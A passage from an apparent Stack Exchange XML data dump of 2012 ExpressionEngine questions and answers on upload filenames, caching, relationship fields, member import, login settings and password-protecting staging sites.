encountered&#xA;Severity: Notice&#xA;Message: Undefined index: filename&#xA;Filename: libraries/File_field.php&#xA;Line Number: 77&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a query I can run on all the upload fields, or anything else I can do to fix this?&lt;/p&gt;&#xA;&lt;p&gt;Here's some examples of the files being renamed.&lt;br /&gt;&#xA;The name from the live server is on the left and the name from the dev server where I ran the upgrade is on the right.&lt;/p&gt;&#xA;&lt;p&gt;MP900409379[1].jpg --&amp;gt; MP9004093791.jpg&lt;br /&gt;&#xA;004_LB-Cottages F&amp;amp;F.PDF --&amp;gt; 004_LB-Cottages FF.PDF&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="-1" LastEditDate="2023-11-17T19:24:28.683" LastActivityDate="2012-12-05T12:50:08.607" Title="File Uploads with Special Characters" Tags="|file-uploads|upgrade|uploads|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1112" PostTypeId="2" ParentId="1111" CreationDate="2012-12-04T21:02:13.580" Score="1" Body="&lt;p&gt;Just a quick note, ImgSizer is no longer being updated, you may want to look at CE Image over on Devotee. The author is very quick to answer questions, you may want to ask him if his add-on will have the same issue.&lt;/p&gt;&#xA;" OwnerUserId="484" LastActivityDate="2012-12-04T21:02:13.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1113" PostTypeId="1" AcceptedAnswerId="1114" CreationDate="2012-12-04T21:21:25.773" Score="1" ViewCount="115" Body="&lt;p&gt;I have a current site in development on EE 2.5.3. I'm using the latest CE Cache but have it disabled via the &lt;code&gt;ce_cache_off&lt;/code&gt; global in my config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running into some really slow performance in general, most notably refreshing the Structure view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That view only has 53 queries, which seems normal to me. It's taking upwards of 8 seconds to load, however, and this is at EngineHosting on their Virtual Server Cluster plan that costs $400 a month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't imagine that this is normal and I'm hoping to rule out a server issue. (I currently have a ticket open with EngineHosting and even Greg Aker is going to take a look.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if CE Cache still does its cache busting and refreshing when disabled via config?&lt;/p&gt;&#xA;" OwnerUserId="2" LastEditorUserId="268" LastEditDate="2012-12-05T01:34:30.673" LastActivityDate="2012-12-05T01:34:30.673" Title="When CE Cache is disabled via the config variable, is there still processing overhead?" Tags="|add-on|performance|ce-cache|hosting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1114" PostTypeId="2" ParentId="1113" CreationDate="2012-12-04T21:23:17.457" Score="2" Body="&lt;p&gt;This may be a non issue due to a recent posting by EngineHosting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://updates.enginehosting.com/post/37208191032/vsc-performance-impacts&quot; rel=&quot;nofollow&quot;&gt;http://updates.enginehosting.com/post/37208191032/vsc-performance-impacts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2012-12-04T21:23:17.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1115" PostTypeId="2" ParentId="1113" CreationDate="2012-12-04T21:24:14.383" Score="3" Body="&lt;p&gt;EngineHosting just posted something about that was effecting performance on some VSC clusters, see &lt;a href=&quot;http://updates.enginehosting.com/post/37208191032/vsc-performance-impacts&quot; rel=&quot;nofollow&quot;&gt;http://updates.enginehosting.com/post/37208191032/vsc-performance-impacts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as you say, 53 queries isn't many. Though you may also want to look to see how much memory is used to load the page as well.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-04T21:24:14.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1116" PostTypeId="2" ParentId="1103" CreationDate="2012-12-04T21:34:47.923" Score="0" Body="&lt;p&gt;You might also try the EE's native &lt;code&gt;bday_m&lt;/code&gt;, &lt;code&gt;bday_d&lt;/code&gt;, and &lt;code&gt;bday_y&lt;/code&gt; fields. The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#birthday&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; only mentions the combined &lt;code&gt;{birthday}&lt;/code&gt; tag, but the month / day / year values are stored separately in the database and are accessible via &lt;code&gt;{bday_m}&lt;/code&gt;, &lt;code&gt;{bday_d}&lt;/code&gt;, and &lt;code&gt;{bday_y}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use these tags, you must be within &lt;code&gt;{exp:member:custom_profile_data}&lt;/code&gt;, or you could use an alternative, such as &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Profile:edit&lt;/a&gt; ($49, &lt;a href=&quot;https://expressionengine.stackexchange.com/a/1104/445&quot;&gt;mentioned by @Siebird above&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this answer isn't specific to CT, but it may accomplish what you're after.&lt;/p&gt;&#xA;" OwnerUserId="445" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-12-04T21:34:47.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1117" PostTypeId="2" ParentId="1079" CreationDate="2012-12-04T21:43:52.993" Score="2" Body="&lt;p&gt;Let me start by saying that PayPal will take your order subtotal and tax rate and want to calculate the tax amount on their own. Normally that wouldn't be a problem but PayPal is notorious for rounding the values wrong which will cause the transaction to fail as their tax calculation is different then what is passed through via Store. So you need to make sure that you run though more test transactions then you normally would to make sure that the rounding issue is not a problem with your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is assuming that you are using Store 1.6.1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is not officially supported (I am not sure when or if it will become officially supported) it should do what you need. &lt;a href=&quot;https://github.com/guillermofr/ci-merchant/commit/70ea1a2864971078b3b67e5ca1051be174f23fa0&quot; rel=&quot;nofollow&quot;&gt;CI Merchant GitHub Fork&lt;/a&gt; will be replacing the system/expressionengine/third_party/store/ci-merchant/libraries/merchant/merchant_paypal_base.php file with the one from the repo. From there you should be seeing your orders data being passed in.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-04T21:43:52.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1118" PostTypeId="2" ParentId="275" CreationDate="2012-12-04T23:01:34.033" Score="5" Body="&lt;p&gt;It would appear that there is a bug in CartThrob 2.2 with regards to managing inventory: &lt;a href=&quot;http://cartthrob.com/forums/viewthread/7374/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cartthrob.com/forums/viewthread/7374/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TzEgZ.png&quot; alt=&quot;how to reproduce the error&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2012-12-04T23:01:34.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1119" PostTypeId="1" AcceptedAnswerId="1160" CreationDate="2012-12-04T23:12:36.170" Score="3" ViewCount="633" Body="&lt;p&gt;I know you can import members by using the built in import function, but that uses XML. Who keeps their data in XML...?&lt;br&gt;&#xA;There's the CSV to XML converter, but its hardly client-friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any alternative methods to import members?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A client of mine takes down member details manually at their store, and they want to upload them in bulk on a semi-regular basis.&lt;br&gt;&#xA;Ideally I'd like the client to just have to upload a CSV (in a format we can define).&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="16" LastEditDate="2012-12-05T07:02:48.473" LastActivityDate="2012-12-05T10:11:46.587" Title="Member Import Alternative" Tags="|members|import|xml|csv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1120" PostTypeId="1" AcceptedAnswerId="1122" CreationDate="2012-12-04T23:20:33.703" Score="1" ViewCount="55" Body="&lt;p&gt;Is it possible to modify the credit cards listed in the &lt;code&gt;{gateway_fields}&lt;/code&gt;. Or do you have to go through and do a full custom &lt;code&gt;{exp:cartthrob:checkout_form}&lt;/code&gt; setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="268" LastEditDate="2012-12-05T00:53:26.097" LastActivityDate="2012-12-05T00:53:26.097" Title="CartThrob: Modify Credit Cards Listed in Gateways Field" Tags="|add-on|ee2|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1121" PostTypeId="1" AcceptedAnswerId="1124" CreationDate="2012-12-04T23:46:11.863" Score="1" ViewCount="396" Body="&lt;p&gt;I'm looping through channel entries. When I try to output the value of a relationship field, I seem to be getting some sort of numerical id (it's not the entry id of the current channel or the channel it is related to; I checked). What exactly is that number? How is this number related to the channel it relates to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I'm trying to change the structure of the data for some other use later on. &lt;strong&gt;So, is there anything in the two channels that are identical so that I can connect the two?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1: code snippet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries channel=&quot;regions&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;        &amp;lt;li&amp;gt;{title} - {entry_id}&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;?php $formatted_branches = array(); ?&amp;gt;&#xA;{exp:channel:entries channel=&quot;regions&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    {reverse_related_entries sort=&quot;asc&quot; orderby=&quot;title&quot; channel=&quot;branch&quot;}&#xA;        &amp;lt;?php&#xA;            $formatted_branches[&quot;{participant_status}&quot;][&quot;{region}&quot;][&quot;{parent_company}&quot;][] = array('branch_name' =&amp;gt; &quot;{branch_name}&quot;);&#xA;        ?&amp;gt;&#xA;    {/reverse_related_entries}&#xA;{/exp:channel:entries}&#xA;&amp;lt;?php var_dump($formatted_branches); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2012-12-05T00:45:42.147" LastActivityDate="2012-12-05T02:39:08.930" Title="Useless variable when looping channel entries - relationship field" Tags="|templates|channel-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1122" PostTypeId="2" ParentId="1120" CreationDate="2012-12-04T23:47:25.627" Score="2" Body="&lt;p&gt;For me I usually just copy/paste the sample HTML code given for that gateway (CT Settings &gt; Payments) in my checkout template and modify as needed. They also recommend that in the &lt;a href=&quot;http://cartthrob.com/docs/tutorials/overriding_gateway_fields/index.html&quot; rel=&quot;nofollow&quot;&gt;official docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-04T23:47:25.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1123" PostTypeId="2" ParentId="796" CreationDate="2012-12-04T23:55:32.047" Score="2" Body="&lt;p&gt;I think your rule is being evaluated at least twice and returns a match twice, once before and once after you do your index.php hiding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must be more narrow about what you are matching on.  I think this will do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 ^index.php/news/([0-9]+)/([0-9]+)/([0-9]+)/(.*)$ /news/post/$4 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="210" LastActivityDate="2012-12-04T23:55:32.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1124" PostTypeId="2" ParentId="1121" CreationDate="2012-12-04T23:56:22.533" Score="2" Body="&lt;p&gt;The value is a rel_id from the exp_relationships table, which is used as a linking table for all relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically you want to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;Relationship&lt;/a&gt; tags provided by the Channel Entries loop to work with relationship fields, you should not generally attempt to use them as single variables since they are not generally useful for anything (expect in some special circumstances such as working with custom plugin code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you are trying to reference a related entry from inside of a {reverse_related_entries} loop - the same issue applies here, the Relationship field itself only returns the rel_id value - you need to use Channel Entries tag and {related_entries} to turn this into a usable value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do this by using an embed, for instance, which would load the given entry from the {reverse_related_entries} loop, then loop over it's {related_entries} loop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;regions&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    {reverse_related_entries sort=&quot;asc&quot; orderby=&quot;title&quot; channel=&quot;branch&quot;}&#xA;        {embed=&quot;pages/branch_block&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    {/reverse_related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;pages/branch_block&lt;/strong&gt; embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:entry_id}&quot; dynamic=&quot;off&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    {related_entries sort=&quot;asc&quot; orderby=&quot;title&quot; channel=&quot;branch&quot;}&#xA;        {entry_id} - {title}&amp;lt;br/&amp;gt;&#xA;    {/related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, note that using embeds in this way is typically not recommended since it causes nested database calls. If you have a limited number of entries in this relationship however, it's probably okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to consider using &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; instead of the built in Relationships field. It's template tags may be closer to what you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also point out that your use of PHP in this template is probably something you want to avoid. It would be a lot better to do this work in a plugin, then package up the results and return it to the template. PHP should never be turned on in templates. I gave a &lt;a href=&quot;http://airways.mm.st/presentations/simple-plugins.html&quot; rel=&quot;nofollow&quot;&gt;talk&lt;/a&gt; on creating simple plugins and wrote up a &lt;a href=&quot;http://metasushi.com/blog/easy-custom-plugins/&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; about it that you may find interesting.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2012-12-05T02:39:08.930" LastActivityDate="2012-12-05T02:39:08.930" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1125" PostTypeId="2" ParentId="1119" CreationDate="2012-12-04T23:59:48.520" Score="6" Body="&lt;p&gt;I suggest moving the member info over to channel entries with a third party add-on like &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot;&gt;Profile:Edit&lt;/a&gt; or &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot;&gt;Zoo Visitor&lt;/a&gt;. This opens member data and gives you a ton of power and flexibility you normally get with channel entries and custom fields. You could then use &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot;&gt;DataGrab&lt;/a&gt; to setup and configure a member import to automatically load a .csv file from a given url and re-run that import weekly or however often as needed.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-12-05T00:20:58.153" LastActivityDate="2012-12-05T00:20:58.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1126" PostTypeId="2" ParentId="1073" CreationDate="2012-12-05T00:20:52.577" Score="3" Body="&lt;p&gt;As Justin mentioned in the comments, it sounds like there are some errors on your page which you haven't templated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a first step, always remove &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; from your checkout tag, to see all the errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the comments you mentioned it was missing the email address, so that sounds like the problem. All orders require an email address (that the order confirmation email is sent to), and at this stage it can't be automatically pulled from the customer's Paypal account, it must be collected before you redirect the customer for payment.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-05T00:20:52.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1127" PostTypeId="1" CreationDate="2012-12-05T01:13:27.520" Score="3" ViewCount="155" Body="&lt;p&gt;Is there any way to deny multiple user logins when using the same username &amp;amp; password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if a user is logged in, they can't login from another machine using the same login credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="268" LastEditDate="2012-12-05T03:07:04.277" LastActivityDate="2012-12-05T11:35:29.240" Title="Deny Multiple Logins" Tags="|config|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1128" PostTypeId="2" ParentId="1127" CreationDate="2012-12-05T01:21:02.140" Score="6" Body="&lt;p&gt;Yes. Go to Admin -&gt; Security and Privacy -&gt; Security and Sessions and if you're using Sessions for the CP session type  then you can select &quot;no&quot; for Allow Multiple Log-ins From a Single Account.&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2012-12-05T11:35:29.240" LastActivityDate="2012-12-05T11:35:29.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1130" PostTypeId="2" ParentId="1127" CreationDate="2012-12-05T01:24:40.787" Score="0" Body="&lt;p&gt;Yes you can. go to Admin &gt; Security &amp;amp; Privacy &gt; Security and Session Preferences and disable &quot;Allow multiple logins from  single account&quot;.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-05T01:24:40.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1131" PostTypeId="1" AcceptedAnswerId="1179" CreationDate="2012-12-05T01:38:13.753" Score="5" ViewCount="291" Body="&lt;p&gt;Is it possible to disable Postmaster from sending emails using a config.php override? I've got a development version of a site and it'd be good if I could disable the emails from sending when I'm triggering the parcels during testing. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="16" LastEditDate="2012-12-05T06:58:56.743" LastActivityDate="2012-12-05T13:37:09.083" Title="Disabling Postmaster from sending emails using a config.php override" Tags="|add-on|config|email|postmaster|config-overrides|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1132" PostTypeId="1" AcceptedAnswerId="1141" CreationDate="2012-12-05T01:54:45.100" Score="3" ViewCount="80" Body="&lt;p&gt;&lt;strong&gt;Use regular news ‘news/index’ template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/site/news/regular-news&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use special ‘news/special-story’ template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/site/news/special-story-which-needs-custom-template&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="536" LastEditorUserId="536" LastEditDate="2012-12-05T03:12:13.377" LastActivityDate="2012-12-05T04:05:15.107" Title="How can I create a custom template for a specific content item?" Tags="|ee2|templates|url|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1133" PostTypeId="1" AcceptedAnswerId="1135" CreationDate="2012-12-05T02:09:45.077" Score="13" ViewCount="2041" Body="&lt;p&gt;I'm in the process of tweaking my base install and was wondering how you hide sites from search engines when deployed to a publicly accessible DEV or STAGING server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a robot.txt file to disallow crawling (not sure how much that really helps though)&lt;/li&gt;&#xA;&lt;li&gt;Use global vars to hide GA code from all but PROD servers&lt;/li&gt;&#xA;&lt;li&gt;On occasion set the site to &quot;offline&quot; and force people to login&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How do you do it? Do you simply keep the site &quot;offline&quot; and make the clients/stakeholders login? Or is there another fancy way of keeping the site &quot;open&quot; to those who know the URL but don't want to log in?&lt;/p&gt;&#xA;" OwnerUserId="219" LastEditorUserId="16" LastEditDate="2013-01-16T02:08:14.020" LastActivityDate="2013-01-16T02:08:14.020" Title="How do you &quot;hide&quot; sites from search engines during development?" Tags="|seo|development|staging-server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1134" PostTypeId="2" ParentId="1133" CreationDate="2012-12-05T02:21:23.547" Score="7" Body="&lt;p&gt;I actually use the following along with &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;Focus Lab's master config&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I create php file called robots.php in root and I add the following to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;header(&quot;Content-Type: text/plain&quot;);&#xA;require_once('../config/config.env.php');&#xA;echo &quot;#&quot;.ENV_FULL.&quot; version of robots&quot;;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if(ENV != 'prod'): ?&amp;gt;&#xA;User-agent: *&#xA;Disallow: /&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;###&#xA;# Add unsafe robots here to keep away&#xA;###&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Making sure I'm linking to the config.env.php so I can check if we are on production or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in my .htaccess fill I add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Use Dynamic robots.txt file&#xA;# ------------------------------&#xA;RewriteRule robots\.txt /robots.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which does our redirect when robots hit robots.txt which in turn gives them the contents of the robots.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: if we aren't on production then we are giving them the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-12-05T02:35:14.823" LastActivityDate="2012-12-05T02:35:14.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1135" PostTypeId="2" ParentId="1133" CreationDate="2012-12-05T02:26:40.260" Score="16" Body="&lt;p&gt;The best way to do this is to use a .htpasswd file to prevent anyone (including spiders) from seeing the site if they are not authorized. This is much better than a robots.txt file because unlike robots.txt - it cannot be ignored. If a spider doesn't have your password, they cannot view the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I typically like using a single, shared login for viewing the site. If all visitors to the site ask their browsers to remember the password, normally they will only need to enter it once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some hosts, such as DreamHost, will provide a method to automatically create a .htpasswd file for you. Otherwise, it's pretty easy to do manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create or modify your .htaccess file in the root of your site to add authorization directives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AuthType Basic&#xA;AuthUserFile /home/USERNAME/.htpasswd&#xA;AuthName &quot;EE Staging Site&quot;&#xA;require valid-user&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We will create the .htpasswd file in a moment, which actually contains the credentials for the login. Whatever location you want to store this file in, you should enter above after the AuthUserFile directive. Lots of hosts have separate directories within your home directory for each site, so you may end up doing something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AuthType Basic&#xA;AuthUserFile /home/USERNAME/example.com/.htpasswd&#xA;AuthName &quot;EE Staging Site&quot;&#xA;require valid-user&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At any rate, once you've decided where to store the .htpasswd file and created the above .htaccess you need to then create the actual .htpasswd file. This is pretty easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/bin/htpasswd -c /home/USERNAME/example.com/.htpasswd STAGINGUSER&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace USERNAME with you actual username (and otherwise adjust the path as needed) STAGINGUSER use with a username you want visitors to have to enter, such as &quot;staging&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/bin/htpasswd -c /home/USERNAME/example.com/.htpasswd staging&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, we are creating a new username within the .htpasswd file named &quot;staging&quot;. After running this line, it will prompt you for the actual password. Enter it, then enter the confirmation when prompted as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Nginx, you can look into how to create the equivilant of a .htaccess file &lt;a href=&quot;http://wiki.nginx.org/HttpAuthBasicModule&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://wiki.nginx.org/Faq#How_do_I_generate_an_htpasswd_file_without_having_Apache_tools_installed.3F&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Nginx config file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location  /  {&#xA;  auth_basic            &quot;EE Staging Site&quot;;&#xA;  auth_basic_user_file  /home/USERNAME/example.com/.htpasswd;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same instructions to create the .htpasswd file should apply, if you have Apache installed. If not, you can find alternative ways of creating the file at &lt;a href=&quot;http://wiki.nginx.org/Faq#How_do_I_generate_an_htpasswd_file_without_having_Apache_tools_installed.3F&quot; rel=&quot;nofollow&quot;&gt;the second link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2012-12-06T21:18:12.603" LastActivityDate="2012-12-06T21:18:12.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1136" PostTypeId="1" AcceptedAnswerId="1140" CreationDate="2012-12-05T03:12:11.363" Score="3" ViewCount="171" Body="&lt;p&gt;&lt;strong&gt;Use custom category listing template 'news/category':&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/site/news/category&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use custom template to present “Legal Politics” 'news/category-legal-politics' entries:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/site/news/category/politics/legal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume that I must create a custom template called &quot;news/category&quot; which then dynamically picks between:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;category-listing&lt;/li&gt;&#xA;&lt;li&gt;articles-in-category&lt;/li&gt;&#xA;&lt;li&gt;special-news-category&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And I am also guessing that custom URL fragments will need to come into play to achieve this. But what I do not understand how to convert the URL into the category ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Template Group: news   Template: category --&amp;gt;&#xA;{exp:channel:entries channel=&quot;news&quot; category=&quot;??{get-from-url}??&quot;}&#xA;    &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{path='news/index'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;div class=&quot;summary&quot;&amp;gt;{summary}&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interestingly I find that the following URL works (almost) for regular category listing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/site/news/category/category/politics/legal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when using the following template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot;}&#xA;    &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{path='news/index'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;div class=&quot;summary&quot;&amp;gt;{summary}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;ul class=&quot;categories&quot;&amp;gt;&#xA;        {categories}&#xA;            